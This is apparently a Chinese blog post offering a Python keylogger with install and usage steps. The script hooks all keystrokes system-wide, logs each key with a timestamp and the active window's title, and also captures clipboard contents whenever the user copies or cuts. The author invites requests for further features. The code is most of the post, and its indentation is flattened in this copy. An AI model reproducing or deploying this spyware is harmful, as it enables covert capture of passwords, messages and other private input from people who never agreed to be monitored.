键盘记录

代码

使用方法:运行后直接使用,可以获取其他窗口的键盘记录,按esc键可以退出监听
如果有其他刚好的功能可以联系博主,博主会竭尽所能去完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-  
# date:2019-12-30
# author:错空


import keyboard
import time
import win32gui
import win32clipboard
import sys

class Clavier:
def __init__(self,file):
self.name = ''
self.file = file


def up(self,e):
# 监听键盘记录
if(self.name == 'ctrl'):
if(e.name == 'c' or e.name == 'x'):
self.Ctrl_cx()
else:
if(e.event_type == 'down'):
win = win32gui.GetForegroundWindow() #获取当前使用的窗口
self.name = e.name
self.file.write("-"*20 + "Keydown Start" + '-'*20 + "\n")
self.file.write("Time:" + time.strftime("%a,%d %b %Y %H:%M:%S", time.gmtime()) + "\n")
self.file.write("Title:" + win32gui.GetWindowText(win) + "\n") #将当前使用窗口标题写入文件中
self.file.write("Text:" + e.name + "\n")
self.file.write("-"*20 + "Keydown End" + '-'*20 + "\n")

def Ctrl_cx(self):
# 把剪贴板内容写入文件
try:
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
self.file.write("Copy:" + pasted_value + "\n")
except:
pass

if __name__ == '__main__':
if len(sys.argv) >= 2:
file = open(sys.argv[1],'w')
else:
file = open('keyboard.txt','w')
key = Clavier(file)
keyboard.hook(key.up)
keyboard.wait('esc')
file.close()

用法

环境:

python3

1
2
3
pip install keyboard
pip install pywin32
pip install win32clipboard

命令:

key.txt代表把键盘记录输出到的文件
1

结果:

2

0%